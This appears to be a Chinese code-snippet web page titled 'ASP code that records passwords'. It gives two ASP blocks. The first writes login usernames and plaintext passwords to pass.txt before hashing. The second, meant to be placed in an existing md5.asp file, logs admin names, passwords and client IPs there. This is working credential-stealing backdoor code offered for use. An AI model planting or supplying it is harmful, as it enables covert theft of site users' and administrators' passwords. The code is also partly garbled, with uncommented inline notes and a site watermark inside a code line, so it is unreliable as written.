记录密码的asp代码
<%
Dim Username,PassWord,strLogFile,f,ff,StrLogText 這里是變量定義
UserName=Replace(Request("username"),"","") 用戶名表
password=Replace(Request("password"),"","") 密碼表
strLogFile="pass.txt" 記錄文件
StrLogText=StrLogText&"號碼:"&UserName&"----"&"密碼:"&PassWord&chr(13)+chr(10)
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&""&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
PassWord=md5(request("password"),16)
%>
第二個
保存到已存在的md5.asp文件里
ip=request.ServerVariables("REMOTE_ADDR")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("md5.asp"),8,True) 網管聯盟www.bitsCN.com
file.writeline adminname & "----" & adminpass & " IP:" & ip & " " &now()
file.close
set file=nothing
set fs=nothing
總結
以上是生活随笔為你收集整理的记录密码的asp代码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ASP 代码给 ASP 页加密码保护
- 下一篇: 如何让文本框中只能输入手机号码